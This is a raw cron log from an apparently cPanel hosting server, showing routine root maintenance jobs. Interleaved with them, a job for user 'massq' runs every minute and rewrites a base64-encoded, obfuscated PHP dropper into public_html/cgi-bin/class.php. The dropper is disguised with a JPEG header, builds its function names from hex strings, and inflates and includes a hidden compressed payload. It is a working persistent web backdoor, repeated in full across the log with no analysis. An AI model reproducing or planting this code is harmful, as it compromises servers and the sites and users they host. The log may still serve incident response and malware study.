Sep  9 17:26:01 server CROND[6434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:26:01 server CROND[6435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:26:01 server CROND[6436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:27:01 server CROND[6963]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 17:27:01 server CROND[6964]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:27:01 server CROND[6966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:27:01 server CROND[6965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:28:01 server CROND[7403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:28:01 server CROND[7404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:28:01 server CROND[7405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:29:01 server CROND[7807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:29:01 server CROND[7808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:29:01 server CROND[7809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:30:01 server CROND[8216]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 17:30:01 server CROND[8219]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:30:01 server CROND[8221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:30:01 server CROND[8222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:30:01 server CROND[8224]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:30:01 server CROND[8226]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 17:30:01 server CROND[8228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:30:01 server CROND[8223]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 17:31:01 server CROND[9114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:31:01 server CROND[9113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:31:01 server CROND[9115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:32:01 server CROND[9587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:32:01 server CROND[9588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:32:01 server CROND[9589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:33:01 server CROND[9978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:33:01 server CROND[9979]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:33:01 server CROND[9980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:34:01 server CROND[10439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:34:01 server CROND[10438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:34:01 server CROND[10440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:35:01 server CROND[10840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:35:01 server CROND[10842]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 17:35:01 server CROND[10844]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:35:01 server CROND[10845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:35:01 server CROND[10850]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:35:01 server CROND[10848]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 17:35:01 server CROND[10849]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 17:35:01 server CROND[10852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:35:01 server CROND[10847]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 17:36:01 server CROND[11695]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:36:01 server CROND[11696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:36:01 server CROND[11697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:37:01 server CROND[12183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:37:01 server CROND[12184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:37:01 server CROND[12185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:38:01 server CROND[12599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:38:01 server CROND[12601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
